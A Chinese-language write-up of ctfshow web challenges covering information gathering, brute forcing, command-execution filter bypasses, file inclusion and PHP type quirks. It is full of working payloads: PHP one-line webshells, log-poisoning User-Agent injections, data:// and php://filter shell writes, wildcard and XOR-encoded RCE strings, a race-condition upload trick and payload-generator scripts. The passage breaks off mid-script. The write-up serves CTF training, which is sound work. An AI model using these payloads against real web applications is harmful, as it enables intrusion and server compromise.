ctfshow-Web篇
- WEB入门
- 信息收集
- 爆破
- 命令执行
- 文件包含
- php特性
- 文件上传
- SQL 注入
- web171
- web172
- web174
- web175
- web176
- web177
- web179
- web180
- web183
- web184
- web185
- web187
- web 188
- web189
- web190
- web191
- web192
- web193
- web195
- web196
- web197
- web198
- web 201
- web202
- web203
- web 204
- web 205
- web206
- web207
- web 207
- Web209
- web210
- Web212
- web213
- web214
- web 215
- web 216
- web 217
- web218
- web220
- web221
- web222
- web223
- web225
- web226
- web227
- 愚人节杯
WEB入门
信息收集
web05
phps泄露,phps存放着php源码,可通过尝试访问/index.phps读取,或者尝试扫描工具扫描读取。
web10
flag信息藏在dns记录里面,使用命令
web12
有时候访问路径在*/robots.txt*里面
常见的管理员页面路径:
- /admin.php
- /admin
web13
题目提示了要查看文档,f12粗略看了一下,没什么线索。
通过dirsearch也扫不到,看了一下提示,说是要查看网页源代码,然后查找一下document关键字,果然发现了个document.pdf。
web14
看了半天源码也没看到什么东西,看了一下robots.txt也没有,再用dirsearch扫一下,发现有个editor目录,访问链接发现了一个编辑器。
然后利用编辑器上传的功能,发现flag文件editor/attached/file/var/www/html/nothinghere/fl000g.txt
最后访问**/nothinghere/fl000g.txt**即可
web15
要有社工的意识,有邮箱的信息就可以去查其他信息。
web16
php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针,然后查看phpinfo搜索flag
- chrome的wappalyzer可以查看网页的框架和语言,可以发现是php
web20
- access数据库在/db/db.mdb
爆破
web21
BurpSuit可以有多种做法:
我们随便输入账号密码抓包时候发现Authorization中是以base64进行加密的,解密为admin:123,可能这样还比较难看出来,可以把密码加长一点试试看。
1 | GET / |
第一种,账号密码分开。
1
Authorization: Basic §§§§
第二个位置加入密码本,然后其他同理。
方法二:可以直接保留admin:的base64编码,然后放在payload前面
1
Authorization: Basic YWRtaW46§§
因此,只需要一个simple list即可
- 方法三:我们还可以使用payload type = Custom iterator构造三次参数
- 第一次输入admin
- 第二次输入:
- 第三次密码字典
web22
web23
阅读php源码,然后写python脚本
- MD5加密:产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。生成结果是固定的128字节,通常用一个32位的16进制字符串表示。
- PHP:substr()、intval()、以及代码分析
第一种方式,字母加数字组合
1 | import requests |
第二种方式,纯数字
1 | url = 'http://61535773-6957-4813-b084-0451f6607922.challenge.ctf.show/' |
web25
和上一题一样,都是利用php随机数的爆破攻击,但是本题没有给种子,因此需要需要使用工具 php_mt_seed 。专门用来跑mt_srand()种子和 mt_rand()随机数。
1
2
3
4种子涉及到flag,不能直接求到
if((!$rand)) 要使这个为真,就要让 $rand=0 ,
而 $rand = intval($r)-intval(mt_rand())
所以要得到随机数才能构造 $r=$mt_rand() 。先传参
/?r=0
获取生成随机数的负值。再进行
./php_mt_seed 随机数
1
2
3
4
5
6
7
8
9
10
11
mt_srand(1267174464);
echo mt_rand().'<br>';
$token=mt_rand()+mt_rand();
echo $token;把r=1267174464和token放到cookie中传入,即可获取flag。
web28
一开始三个位置一起爆破,没成功,看网上wp
如果修改最后的2.txt会被无限重定向,不删除2.txt只修改前面的0和1依旧会被无限重定向。
因此删掉最后2.txt,用集束炸弹模式爆破前两个数字即可。
命令执行
命令执行方法汇总
但是假如我们并不知道flag在哪里呢?
新手可以等文件包含部分学过来再学。 我们通过响应头,发现是nginx,默认nginx日志文件在/var/log/nginx/access.log 结合这里的include,构造如下语句,也可以尝试先/etc/passwd,确认的确可以包含。 http://dfa0bafe-3571-4a4a-9f0a-3766fb5a0a69.challenge.ctf.show/?c=include$_GET[a\]?%3E&a=../../../../var/log/nginx/access.log
1 | isset() #是PHP中一个常用的函数,用于检查变量是否已经被设置并且非 NULL。如果给定的变量存在且其值不为 NULL,则返回 true,否则返回 false |
因为我们传入的参数能被当作php代码执行,则我们使用一些系统指令:
1 | ?c=system('ls'); |
- tac可以直接看到,cat需要在f12源码里面看
空格可以用tab%09来绕过
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、$IFS$1
对于;的过滤可以使用?>
%0a 换行符代替 ;
方法一:拼接
1
2
3
4
5
6
7
8
9# url编码后使用%5c添加到flag中
/?c=system(%27cat%20fl%5cag%2Ephp%27);
# url编码后使用$9添加到flag中
/?c=system(%27cat%20fl$9ag%2Ephp%27);
# 还可以使用''和""来拼接flag 例如 fl''ag (编不编码都试试看)
/?c=system(%27cat%20fl%22%22ag%2Ephp%27);
# 使用特殊符号$@
/?c=system(%27cat%20fl$@ag%2Ephp%27);
# 过滤cat后也可以通过加斜杠达到绕过的方法 ca\t方法二:使用通配符
1
2
3
4
5
6# 使用* cat fla*
/?c=system(%27cat%20fla*%27);
# 使用? cat fla?.php
/?c=system(%27cat%20fla%3F%2Ephp%27);
# ?可以出现任意次
/?c=system(%27tac%20fla?.???%27);方法三:使用反引号
- 反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
- 由
''
符号并不会影响命令的执行,所以我们可以插入这些符号来绕过。在linux中可以使用 ’ 来绕过,比如 fl’’ag 就等效于 flag。 - echo `` 和 system(‘’) 等价
1
2
3
4
5/?c=echo%20`tac%20fl%27%27ag.php`;
# nl 命令:Linux中nl命令和cat命令很像,不过nl命令会打上行号,nl没有回显,需要f12查看源代码
/?c=echo `nl fl?g.php`;
# 此外也可以用''来绕过过滤
echo `nl fl''ag.p''hp`;方法四:复制大法
1
2
3
4
5
6# cp fla* 1.txt,然后访问目录下的1.txt即可
?c=system(%27cp%20fla*%201.txt%27);
# 同理,如果屏蔽system,也可以使用exec
?c=exec(%27cp%20fla*%201.txt%27);
# 同理还有passthru
/?c=passthru(%27cp%20fla*%201.txt%27);方法五:利用参数输入+eval
- 由于系统只会检测$c中的内容,则我们通过eval()函数构造参数1巧妙绕过
1
2# ?c=eval($_GET[1]);&1=system('tac flag.php');
/?c=eval($_GET[1]);&1=system(%27tac%20flag.php%27);方法六:文件包含
- 使用include将1包含进来,1再使用php伪协议使用PHP内部设置的过滤器,将flag.php文件读取并以base64编码的格式返回
1
2
3
4
5
6
7
8# 其中$_GET也可以改成$_REQUEST
?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=require $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php
$_GET[a];&a=data://text/plain,<?php system("cat flag.php");?>
$_GET[a];&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==方法七:一句话木马
1
?c=eval($_POST[1]);
方法八:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
pos() 函数返回数组中当前元素(指针指向)的值。
scandir() 函数返回指定目录中的文件和数组。
array_reverse() 将数组倒序输出。
next() 将指针指向数组的下一个元素并输出。
show_source() 对文件进行语法高亮显示,是highlight_file()别名。1
2
3
4?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
# 等价
?c=show_source(next(array_reverse(scandir(getcwd()))));
# 其中show_source可以换成highlight_file和readfile所以,语句的步骤是
先拿到一个.==》localeconv() pos()接着扫描.目录,即当前目录==》scandir()
将扫描完的目录倒叙=》array_reverse(),因为正序第一第二分别是: . ..
将倒序完毕的数组的第二个元素输出==》next()
- 因为目录的顺序分别是. .. flag.php index.php因此我们倒序后第二个是flag.php
打印文件信息==》show_source()
方法九:
可以通过
- $_GET
- $_POST
- $_FILES
- $_COOKIE
?c=eval(end(current(get_defined_vars())));&a=system("cat flag.php");
web37
知识点
- 考察data协议
data伪协议:将后面的字符当做PHP代码执行
data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
?c=data://text/plain;base64,[base64_encode_shell]
看源代码,因为flag.php注释注释了flag,所以看不见,需要查看源代码也可以使用tac来读取,破坏php的注释规则,就可以直接在页面上看见flag了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}- 题解
1
2#<?php system('cat flag.php');?>
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web41
这个题过滤了$、+、-、^、~
使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
1 | # 生成可用字符的集合 |
1 | # -*- coding: utf-8 -*- |
然后输入python exp.py http://403c8935-1b28-4410-8d96-512661e9649f.challenge.ctf.show/
1 | [+] your function:system |
即可获取flag
代码解析,我们也可以利用ChatGPT为我们分析代码,然后debug看看怎么运行的。
命令截断
我们看一眼题
1 |
|
它意思是将命令全输出到**/dev/null**中,同时错误信息流也会被重定向到正确信息流中。
- Linux系统支持的管道符如下:
- “;”:执行完前面的语句再执行后面的语句。
- “|”:显示后面语句的执行结果。
- “||”:当前面的语句执行出错时,执行后面的语句。
- “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
这道题中我们可以用&&拼接,然后让后面执行的命令重定向到**/dev/null**中即可
- 我们也可以用截断的方法,让后面重定向不起作用
- 截断方法
; , && , %0a,||
等等,有很多截断方法
- 截断方法
1 | # 需要url编码 |
web54
方法一
屏蔽了大多数linux命令,但是我们还可以使用rev
/?c=rev${IFS}fla?.php
方法二
虽然屏蔽了很多命令,但是我们只需在bin目录让命令补全就可以了
1
2/bin/?at${IFS}f???????
/bin/c??${IFS}????????
方法三
- 修改flag的名字,然后直接访问网页
1
2?c=mv${IFS}fla?.php${IFS}t.txt
t.txt
web55
1 | // 你们在炫技吗? |
方法一
这题禁用了 字母 a-z ,那么我可以用 /bin/base64 flag.php
加上通配符 则为 /???/????64 ????.??? 然后他就会出现 flag.php内容的base64编码
方法二:
还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩
同样是使用通配符进行payload, 然后 最后访问 /flag.php.bz2进行下载压缩包
?c=/???/???/????2%20????.???
方法三:
前提是 题目没有过滤 ? / . (问号,斜杠,点),就可以使用这个方法进行RCE
1 |
|
本地访问并抓包,上传1.php 写入
1 | POST /?c=.%20/???/????????[@-[] HTTP/1.1 |
1 | ##/bin/sh |
这个目录是/tmp,然后一般网页文件会命名为php??????,后面是随机的字母。所以我们需要规定一个范围[@-[],从@-[就是26个字母
然后关于上传文件的内容。既然要让我们上传的文件能执行我们的内容,所以我们添加内容/bin/sh
因为linux系统下一切皆文件,所以一些个内置程序都是由文件组成的。
/bin目录下存放的都是协议shell脚本的内容,sh就是执行shell脚本,我们可以理解为打开终端。只有打开终端我们再能输入命令对吧
然后我们就可以在文件里面在添加ls,cat等一系列读取文件的命令了。
那么还差最后一步。我们上传了这个文件后那么它是存放在/tmp目录下的某一个文件,但是它只是存放在了那里,并不会被执行。
这时候我们可以时候点命令,而正好题目并没有过滤点命令,点命令就是执行shell脚本
所以我们抓包,然后构造
有概率失败,失败重试即可,因为最后一个字母不一定是大写的,记得修改右上角的port为80,然后https关了
web57
1 | //flag in 36.php |
可以看到题目告诉我们flag再36.php文件里面,并且system函数已经包含了cat和php
也就是说只要我们传参一个36就可以
但是数字被过滤掉了
这时候就要用到一个linux里面的关于$的特性
$(())代表算数运算,举个栗子:a=1,b=2
$a+$b就等同于$((1+2))
然后因为题目无法传递数字,所以我们还需要用到取反运算
下面我在红帽下面演示一下这个步骤
首先要知道的是当$(())没有参数时。默认为0
所以其实说到这里大家也都直到了,0的取反为-1,然后只要一直这样相加再取反就能得到36(因为题目过滤了乘号,没有过滤加号)
1 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ |
也可以用python构造
1 | data = "$((~$(("+"$((~$(())))"*37+"))))" |
web58
···
1 | include($filename); // 非php代码 |
1 | //一般情况下我们先要获取当前目录,然后读取文件内容 |
POST请求要加上
Content-Type: application/x-www-form-urlencoded
或者用蚁剑直连
web71
- 在代码执行结束后如果想跳过其余部分,可以使用
exit();
或者die()
方法退出
web72
尝试读取根目录,但是失败了:
1 | c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit(); |
- 这题需要用glob协议读取根目录,然后利用uaf脚本命令执行。
1 | $a="glob:// /*.txt"; //glob:///*.txt应该连起来写,中间空了一下只是方便理解 |
Payload构造
c=$a="glob:///*.txt";if($b=opendir($a)){while(($file=readdir($b))!==false){echo "filename:".$file."\n";}closedir($b);}exit();
发现flag0.txt文件
但是由于open_basedir
的限制,还是不可以直接include进来,需要想其它的办法。使用UAF。脚本如下:记得要把c=
之后的内容url编码:
1 | c=function ctfshow($cmd) { |
web73
先读取目录
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); |
然后include
1 | c=include('/flagc.txt');exit(); |
上题的uaf代码中strlen被ban了,我们可以写一个代替
1 | function strlen_user($s){ |
文件包含
nginx日志的默认路径为/var/log/nginx.
ssh日志的默认路径为/var/log/auth.log
web80
- 如果过滤了
php
可以用PHP来绕过,但是data
不能用DATA来绕过 - php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
- 判断是否可以进行日志注入,判断的条件是是否可以进行ssrf漏洞,传参/etc/passwd,如果成功,则代表可以进行日志注入
1 |
|
方法一:Php绕过
使用burpsuit
1
2
3
4
5
6
7
8
9
10
11
12
13POST /?file=Php://input
Host: 7c1020fb-ad70-446e-aa9f-96f37da1dd90.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 20
system('ls')
system('tac fl0g.php')方法二:日志注入
Get传参
/?file=/var/log/nginx/access.log
,找到日志地址(一个个常用地址试试看)然后在UA里面藏入一句话木马
1
2
3
4
5
6
7
8
9
10POST /?file=/var/log/nginx/access.log
Host: 7c1020fb-ad70-446e-aa9f-96f37da1dd90.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: <?php eval($_POST['a']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0使用🐜🗡连接
或者直接在UA里面执行代码就行了,注意别输错了,否则需要重启实例
1
2
3
4
5
6
7
8
9
10GET /?file=/var/log/nginx/access.log
Host: f3c8bad1-a762-443f-9d81-4dd4919dd85f.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: <?php system('tac fl0g.php'); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
web83
- 因为过滤了点所以应该是无后缀形式的,而php中我们唯一能控制的无后缀的就是session文件
- 条件竞争
1 | import requests |
web87
- 提交的方式要使用
Content-Type: application/x-www-form-urlencoded
,否则无法成功,这种题其实可以用POSTMan做,没必要用burpsuite抓包,如果要抓,必须带上上面这句Content-type
1 | if(isset($_GET['file'])){ |
这道题需要绕过die函数,我们要使其无效,否则影响我们提交的内容。
思路可以参考[文件包含](# 文件包含)底下的链接
方法一:用base64 编码
使用url编码file=php://filter/write=convert.base64-decode/resource=flag.php
,需要把字母也编码,然后再进行一次url编码
%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2566%256c%2561%2567%252e%2570%2568%2570
1
2
3
4def encodeAllStrings(strings):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in strings)
r = encodeAllStrings(a)
parse.quote(r)content是写入内容,要进行base64编码 对应上面的伪协议解码,而base解码时,是4个一组,flag.php(要写入的文件),写入的内容
<?php die('大佬别秀了');?>
中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了,在base64解密时会忽略不可识别的字符总结:我们要在content中写入shell,然后base64编码
content=<?php system('ls');?>
base64content=PD9waHAgc3lzdGVtKCdscycpOz8+
我们还要在base64前加上两个字符来凑齐位数,因此content变成了
content=aaPD9waHAgc3lzdGVtKCdscycpOz8+
BASE64加密需要4的整数倍
方法二:使用rot13加密
同理,先构造rot13加密的伪协议
php://filter/write=string.rot13/resource=2.php
然后两次url加密
%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2532%252e%2570%2568%2570
然后payload,
<?php system('tac fl0g.php')?>
使用rot13加密<?cuc flfgrz('gnp sy0t.cuc')?>
php特性
web89
1 | include("flag.php"); |
preg_match有个漏洞,当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1,所以我们可以传个数组绕过,构造payload
?num[]=abc
web90
intval($num,0)意思是检测num的进制类型并返回其十进制的值,若num前缀为0,即判断num为八进制,若num前缀为0x,则判断num为十六进制
- php中**===**
- 值相等
- 类型相同
1 | include("flag.php"); |
方法一:进制转换
- 若num前缀为0,即判断num为八进制,若num前缀为0x,则判断num为十六进制
转化为八进制为010574
转化为十六进制为0x117c
1
2
3
4
5
6
7// 16
?num=0x117c
// 8
?num=010574
// 2
?num=0b1000101111100方法二:科学计数法
4476e3表示4476*10^3,也就是4476000,
而4476e3做为参数传入的时候可以当成字符串,在进行第一个(===)比较时会先转为4476000再比较,到intval函数时,因为没有特征前缀,所以当十进制处理,而intval函数不能处理科学计数法,4476e3会被识别为4476,
方法三:字符串截取
- intval处理开头是数字的字符串时,返回值为开头的数。 所以我们可以直接输入 ?num=4476a
方法四:浮点数
构造浮点数绕过即可
4476.0
方法五:使用正号绕过
+010574
%2b010574
web91
-
^表示表达式开头,$表示表达式结尾,i表示不区分大小写,m表示多行模式
\n换行,我们仅需用%0a代替即可
web93
1 | include("flag.php"); |
- 过滤了十六进制,我们利用八进制就可以010574
web94
这题增加了对8进制的围追堵截,我们用浮点数绕过
4476.0
web97
- 我一开始写个脚本,不知道要跑到什么时候,暴力好像出不来,可以搜一下网上计算好的md5。
- 知识点,md5函数无法支持数组操作,因此构造数组即可
- a[]=1&b[]=2
web99
in_array()函数有漏洞 没有设置第三个参数,严格匹配。就可以形成自动转换
n=1.php自动转换为1
web100
运算符优先级:**&& > || > = > and > or**
is_numeric() 函数用于检测变量是否为数字或数字字符串。
是数字和数字字符串则返回 TRUE,否则返回 FALSE
**var_dump()**函数可以输出多个值。
1 |
|
v3的话要加注释也行,不加也能运行
1 | ?v1=1&v2=var_dump($ctfshow)/*&v3=*/; |
web105
1 |
|
&&应用
$hell=”abc”;
$$hell=”def”;等同于$abc=”def”;
这里的&&把key的值变为了变量所以可以通过$error和$$suces进行输入flag
我们可以在GET把flag赋值给suces,然后再把suces赋值给error就能显示flag了
web108
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
1 |
|
web109
1 |
|
方法一:反射
1
2?v1=Reflectionclass&v2=system('ls')
?v1=Reflectionclass&v2=system('tac fl36dg.txt')方法二:异常处理
1
2?v1=Exception&v2=system('ls')
?v1=Exception&v2=system('tac fl36dg.txt')方法三:错误
1
2?v1=Error&v2=system('ls')
?v1=Error&v2=system('tac fl36dg.txt')
web110
1 | highlight_file(__FILE__); |
禁掉了匿名类的payload
要求:不允许使用特殊字符与数字
v1只能是类,v2为函数或方法,且无参数
分析:
1、web109 中的 v2 先为 system(ls) ,后为system(‘tac fl*’)
步骤为:1)查看目录 2)查看文件信息
但 ( 被禁用,不能使用 system(ls) 查看目录
2、考虑查看目录函数的替代:scandir()、golb()、dirname()、basename()、realpath()、getcwd()
其中 scandir()、golb() 、dirname()、basename()、realpath() 需要给定参数
而 getcwd() 不需要参数
很明显 v2=getcwd
3、v1 我们选择读取文件内置类 FilesystemIterator
payload
1 | v1=FilesystemIterator&v2=getcwd |
访问文件即可
web111
1 | highlight_file(__FILE__); |
要求:v1,v2 不能包含特殊符号与数字,v1 必须包含 ctfshow
分析:
1、getFlag 中使用 var_dump() 输出 $$v1
$$v1 = &$$v2
$v2 为变量,我们知道,flag 通常存储在 $flag 变量中,因此,令 v2 = flag,则相当于 $$v1 = $flag
构造的 payload 为 v1=ctfshow&v2=flag
但输出为 NULL
原因:(变量范围)
$flag 在自定义函数 getFlag 函数中没有定义
$flag 是属于 flag.php 中的变量,对于 getFlag 是外部变量,因此我们需要将 $flag 改为全局变量
2、定义全局变量的格式为 global $flag
如果 v2=global $flag
首先 $ 被屏蔽
其次 $$v1 = &$$v2 ,既 $$v1 = &$global $flag
3、考虑使用超全局变量 $GLOBALS
知识点
1、引用赋值 &
2、变量范围
3、预定义变量中的超全局变量 $GLOBALS
payload
1 | v1=ctfshow&v2=GLOBALS |
web112
1 |
|
1 | php://filter/resource=flag.php |
web113
考点:利用函数所能处理的长度限制进行目录溢出
- 解法一
1 | /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p |
- 解法二
1 | compress.zlib://flag.php |
web123
1 |
|
其中$c<=18不知道是啥意思
php是弱类型语言,因此如果字符串开头是字母,和数字比较时候就会被转为0
方法一:利用eval$c直接输出结果
1
2payload
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag方法二:
1
2
3
4
5
6
7Payload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])利用$_SERVER[‘argv’],在大佬那看了这一函数的讲解。
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
‘argv’
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
意思就是通过$_SERVER[‘argv’]将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。
执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
方法三:highlight_file
1
2
3
4
5Payload:
GET:?1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
web127
1 |
|
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload: ?f1=_&f2=get_defined_vars
web129
1 |
|
这题是让我们读取flag,当时我们传入的值必须包括ctfshow而且不能出现在开头,第一反应就是用filter伪协议读取,中间把ctfshow替换成过滤器的名称php://filter/ctfshow/resource=flag.php
,或者目录遍历也可以
方法一:filter
1
2
3
4?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=php://filter/ctfshow/resource=flag.php
具体原理也不是很清楚,可能是php遇到没有的filter就会忽略方法二:目录绕过
1
2?f=/ctfshow/../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php
web131
web134
解答:看到parse_str和extract。变量覆盖
第一条if判断,要求key1和key2不能通过get和post传递。
parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。
那么相对的,传递_POST,就是对$_POST进行赋值,正好就可以绕过if条件对post的限制。
extract() 函数从数组中将变量导入到当前的符号表。
payload:?_POST[key1]=36d&_POST[key2]=36d
web136
tee
用于显示程序的输出并将其复制到一个文件中。
payload:?c=ls |tee 1
,访问1发现当前目录没有flag文件。
?c=ls / |tee 1
,发现f149_15_h3r3文件。
?c=cat /f149_15_h3r3|tee 1
获取flag。
web141
数字和运算符是可以一起执行命令的,如1+phpinfo()+1;是可以显示phpinfo页面的,GET传入的只是字符串“1+phpinfo()+1”;是不能直接执行命令的,经过eval处理后就变成了可以执行命令,if(preg_match(‘/^\W+$/‘, $v3)){的存在我们只能传入非数字字母,不过php7可以用(‘phpinfo’)()动态调用函数,可以用异或绕过
需要通过脚本绕过
v1=1&v2=1&v3=%2b(+号)或者%2d(-号)加上脚本编码后的字符串。
取反
因为取反的话,基本上用的都是一个不可见字符,所以不会触发到正则表达式
1 |
|
异或和或操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92# -*- coding: utf-8 -*-
"""
@Author disda
@Date 2023/5/16 10:23
@Describe
@Dependency
@Version 1.0
"""
# -*- coding: utf-8 -*-
"""
@Author disda
@Date 2023/4/26 18:56
@Describe
@Dependency
@Version 1.0
"""
import re
import urllib
from urllib import parse
op_dict = {
"yes_op": lambda x: x,
"not_op": lambda x: not x,
"or_op": lambda x, y: x | y,
"xor_op": lambda x, y: x ^ y
}
sign = {
'xor_op': '^',
'or_op':'|'
}
def generate_coding(file_name, pattern, is_match, mode):
"""
生成符合要求的编码
@param file_name: 生成文件的名称
@param pattern: 正则表达式
@param is_match: 是否匹配正则,True表示匹配,False表示不匹配
@param mode: 编码方式
@return:
"""
with open(file_name, 'w') as f:
for i in range(256):
for j in range(256):
op = op_dict['not_op'] if is_match else op_dict['yes_op']
# 如果当前外层循环元素被过滤了,直接跳过所有内层循环
if op(re.search(pattern, chr(i))):
break
# 如果当前内层循环元素被过滤了,跳过该元素
if op(re.search(pattern, chr(j))):
continue
# [2:]是因为python中hex表示是0xff这样的形式,去掉前面的0x,组成2位url编码
hex_i = "0" + hex(i)[2:] if i < 16 else hex(i)[2:]
hex_j = "0" + hex(j)[2:] if j < 16 else hex(j)[2:]
# url编码的方式和ASCII码一样,但需要在前面加上%
url_i = '%' + hex_i
url_j = '%' + hex_j
# c是我们要构造的参数,比如说我们要传ls命令,l就要拆分成a|b,其中|是因为题目没有过滤|,我们可以修改成其他任意操作如^
c = op_dict[mode](ord(urllib.parse.unquote(url_i)), ord(urllib.parse.unquote(url_j)))
# 如果c是可见的字符
if c >= 32 and c <= 126:
f.write(chr(c) + " " + url_i + " " + url_j + '\n')
def action(arg,file_name,mode):
s1 = ""
s2 = ""
for i in arg:
f = open(file_name, "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\""+sign[mode]+"\"" + s2 + "\")"
return (output)
file_name = 'rce.txt'
mode = 'xor_op'
reg = '^\W+$'
generate_coding(file_name,reg,True,mode)
while True:
param = action(input("\n[+] your function:"),file_name,mode) + action(input("[+] your command:"),file_name,mode) + ";"
print(param)
web147
1 | if(isset($_POST['ctf'])){ |
考察点:create_function()代码注入
1 | create_function('$a','echo $a."123"') |
那么如果我们第二个参数传入 echo 1;}phpinfo(); 等价于执行后面的命令
在PHP的命名空间默认为\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
%5c就是\的url编码,直接写斜杠能过
1 | get: show=echo 123;}system('tac f*');// |
web149
1 | $files = scandir('./'); |
思路一:写入index.php一句话木马
1
2get: ctf=index.php
post: show=<?php phpinfo();eval($_POST[0]);?>思路二:条件竞争
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49import threading
import requests
import time
flag = 1
def write():
while 1:
url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/"+"?ctf=4.php"
